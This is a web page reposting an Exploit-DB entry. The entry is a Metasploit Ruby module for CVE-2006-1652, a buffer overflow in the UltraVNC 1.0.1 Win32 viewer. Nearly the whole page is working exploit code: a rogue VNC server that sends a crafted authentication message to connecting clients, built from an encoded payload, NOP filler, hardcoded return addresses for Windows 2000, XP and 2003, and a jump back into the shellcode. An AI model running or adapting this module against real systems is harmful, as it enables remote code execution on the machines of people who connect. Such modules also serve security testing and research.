UltraVNC 1.0.1 – Client Buffer Overflow (Metasploit) - 体验盒子

作者： Metasploit

日期： 2010-04-30

类别：

remote

平台：

windows

来源：https://www.exploit-db.com/exploits/16490/

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##

# $Id: ultravnc_client.rb 9179 2010-04-30 08:40:19Z jduck $

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})

super(update_info(info,

'Name' => 'UltraVNC 1.0.1 Client Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in UltraVNC Win32

Viewer 1.0.1 Release.

},

'Author' => 'MC',

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9179 $',

'References' =>

[

[ 'CVE', '2006-1652' ],

[ 'OSVDB', '24456' ],

[ 'BID', '17378' ],

],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

},

'Payload'=>

{

'Space'=> 500,

'BadChars' => "\x00",

'MaxNops'=> 0,

'StackAdjustment' => -3500,

},

'Platform' => 'win',

'Targets'=>

[

[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c2ec68b } ],

[ 'Windows XP SP2 English', { 'Ret' => 0x77dc15c0 } ],

[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],

],

'Privileged' => false,

'DisclosureDate' => 'Apr 4 2006',

'DefaultTarget'=> 0))

register_options(

[

OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])

], self.class)

end

def on_client_connect(client)

rfb = "RFB 003.006\n"

client.put(rfb)

end

def on_client_data(client)

return if ((p = regenerate_payload(client)) == nil)

filler = make_nops(980 - payload.encoded.length)

sploit ="\x00\x00\x00\x00\x00\x00\x04\x06" + "Requires Ultr@VNC Authentication\n"

sploit << payload.encoded + filler + [target.ret].pack('V')

sploit << "PASSWORD" + [0xe8, -997].pack('CV')

print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")

client.put(sploit)

handler

service.close_client(client)

end